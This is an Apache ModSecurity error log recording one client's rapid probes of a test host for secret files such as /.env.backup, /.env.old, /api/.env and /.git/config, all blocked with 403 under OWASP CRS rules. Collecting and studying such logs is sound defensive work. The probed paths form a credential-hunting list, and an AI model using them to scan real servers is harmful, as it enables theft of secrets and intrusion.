[Sun Nov 05 15:59:08.649087 2023] [:error] [pid 2945348] [client 13.238.182.129:44032] [client 13.238.182.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;ZUetvK54h8K8yKXmm046MQAAAAI&quot;]
[Sun Nov 05 15:59:08.649282 2023] [:error] [pid 2945348] [client 13.238.182.129:44032] [client 13.238.182.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;ZUetvK54h8K8yKXmm046MQAAAAI&quot;]
[Sun Nov 05 15:59:09.902961 2023] [:error] [pid 2953480] [client 13.238.182.129:44042] [client 13.238.182.129] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;ZUetveyxlz8CqQghNzVKzQAAAAo&quot;]
[Sun Nov 05 15:59:09.903119 2023] [:error] [pid 2953480] [client 13.238.182.129:44042] [client 13.238.182.129] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;ZUetveyxlz8CqQghNzVKzQAAAAo&quot;]
[Sun Nov 05 15:59:09.903324 2023] [:error] [pid 2953480] [client 13.238.182.129:44042] [client 13.238.182.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;ZUetveyxlz8CqQghNzVKzQAAAAo&quot;]
[Sun Nov 05 15:59:09.903486 2023] [:error] [pid 2953480] [client 13.238.182.129:44042] [client 13.238.182.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;ZUetveyxlz8CqQghNzVKzQAAAAo&quot;]
[Sun Nov 05 15:59:11.738660 2023] [:error] [pid 2945350] [client 13.238.182.129:36656] [client 13.238.182.129] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;ZUetv07FHveku4ctlxRlUwAAAAQ&quot;]
[Sun Nov 05 15:59:11.738884 2023] [:error] [pid 2945350] [client 13.238.182.129:36656] [client 13.238.182.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;ZUetv07FHveku4ctlxRlUwAAAAQ&quot;]
[Sun Nov 05 15:59:11.739075 2023] [:error] [pid 2945350] [client 13.238.182.129:36656] [client 13.238.182.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;ZUetv07FHveku4ctlxRlUwAAAAQ&quot;]
[Sun Nov 05 15:59:12.689910 2023] [:error] [pid 2947462] [client 13.238.182.129:36658] [client 13.238.182.129] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;ZUetwPmCwGyt19di1WEBJQAAAAY&quot;]
[Sun Nov 05 15:59:12.690076 2023] [:error] [pid 2947462] [client 13.238.182.129:36658] [client 13.238.182.129] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;ZUetwPmCwGyt19di1WEBJQAAAAY&quot;]
[Sun Nov 05 15:59:12.692698 2023] [:error] [pid 2947462] [client 13.238.182.129:36658] [client 13.238.182.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;ZUetwPmCwGyt19di1WEBJQAAAAY&quot;]
[Sun Nov 05 15:59:12.692869 2023] [:error] [pid 2947462] [client 13.238.182.129:36658] [client 13.238.182.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;ZUetwPmCwGyt19di1WEBJQAAAAY&quot;]
[Sun Nov 05 15:59:15.641648 2023] [:error] [pid 2945349] [client 13.238.182.129:36662] [client 13.238.182.129] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.www&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.www&quot;] [unique_id &quot;ZUetw0rTDH-WNbmIHqbDEgAAAAM&quot;]
[Sun Nov 05 15:59:15.641877 2023] [:error] [pid 2945349] [client 13.238.182.129:36662] [client 13.238.182.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.www&quot;] [unique_id &quot;ZUetw0rTDH-WNbmIHqbDEgAAAAM&quot;]
[Sun Nov 05 15:59:15.642031 2023] [:error] [pid 2945349] [client 13.238.182.129:36662] [client 13.238.182.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.www&quot;] [unique_id &quot;ZUetw0rTDH-WNbmIHqbDEgAAAAM&quot;]
[Sun Nov 05 15:59:18.133266 2023] [:error] [pid 2953478] [client 13.238.182.129:36674] [client 13.238.182.129] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_1&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_1&quot;] [unique_id &quot;ZUetxttLKgISucRyj21FUwAAAAg&quot;]
[Sun Nov 05 15:59:18.133492 2023] [:error] [pid 2953478] [client 13.238.182.129:36674] [client 13.238.182.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_1&quot;] [unique_id &quot;ZUetxttLKgISucRyj21FUwAAAAg&quot;]
[Sun Nov 05 15:59:18.133677 2023] [:error] [pid 2953478] [client 13.238.182.129:36674] [client 13.238.182.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_1&quot;] [unique_id &quot;ZUetxttLKgISucRyj21FUwAAAAg&quot;]
[Sun Nov 05 15:59:19.985547 2023] [:error] [pid 2945346] [client 13.238.182.129:36686] [client 13.238.182.129] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;ZUetx0Lxtgn9b120wAzh3wAAAAA&quot;]
[Sun Nov 05 15:59:19.987348 2023] [:error] [pid 2945346] [client 13.238.182.129:36686] [client 13.238.182.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;ZUetx0Lxtgn9b120wAzh3wAAAAA&quot;]
[Sun Nov 05 15:59:19.987597 2023] [:error] [pid 2945346] [client 13.238.182.129:36686] [client 13.238.182.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;ZUetx0Lxtgn9b120wAzh3wAAAAA&quot;]
[Sun Nov 05 15:59:20.937573 2023] [:error] [pid 2953479] [client 13.238.182.129:47596] [client 13.238.182.129] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.indacotrentino&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.indacotrentino&quot;] [unique_id &quot;ZUetyMiyITV8IjJ-hgGdZAAAAAk&quot;]
[Sun Nov 05 15:59:20.937790 2023] [:error] [pid 2953479] [client 13.238.182.129:47596] [client 13.238.182.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.indacotrentino&quot;] [unique_id &quot;ZUetyMiyITV8IjJ-hgGdZAAAAAk&quot;]
[Sun Nov 05 15:59:20.937944 2023] [:error] [pid 2953479] [client 13.238.182.129:47596] [client 13.238.182.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.indacotrentino&quot;] [unique_id &quot;ZUetyMiyITV8IjJ-hgGdZAAAAAk&quot;]
[Sun Nov 05 15:59:21.892409 2023] [:error] [pid 2949694] [client 13.238.182.129:47600] [client 13.238.182.129] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.pms.test&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.pms.test&quot;] [unique_id &quot;ZUetySo0qVGOtryXpL2hqAAAAAc&quot;]
[Sun Nov 05 15:59:21.892635 2023] [:error] [pid 2949694] [client 13.238.182.129:47600] [client 13.238.182.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.pms.test&quot;] [unique_id &quot;ZUetySo0qVGOtryXpL2hqAAAAAc&quot;]
[Sun Nov 05 15:59:21.892778 2023] [:error] [pid 2949694] [client 13.238.182.129:47600] [client 13.238.182.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.pms.test&quot;] [unique_id &quot;ZUetySo0qVGOtryXpL2hqAAAAAc&quot;]
[Sun Nov 05 15:59:23.588434 2023] [:error] [pid 2945347] [client 13.238.182.129:47606] [client 13.238.182.129] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;ZUetyzDT8nMuo9EfqVECggAAAAE&quot;]
[Sun Nov 05 15:59:23.588686 2023] [:error] [pid 2945347] [client 13.238.182.129:47606] [client 13.238.182.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;ZUetyzDT8nMuo9EfqVECggAAAAE&quot;]
[Sun Nov 05 15:59:23.588841 2023] [:error] [pid 2945347] [client 13.238.182.129:47606] [client 13.238.182.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;ZUetyzDT8nMuo9EfqVECggAAAAE&quot;]
[Sun Nov 05 15:59:24.565269 2023] [:error] [pid 2945348] [client 13.238.182.129:47614] [client 13.238.182.129] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZUetzK54h8K8yKXmm046MgAAAAI&quot;]
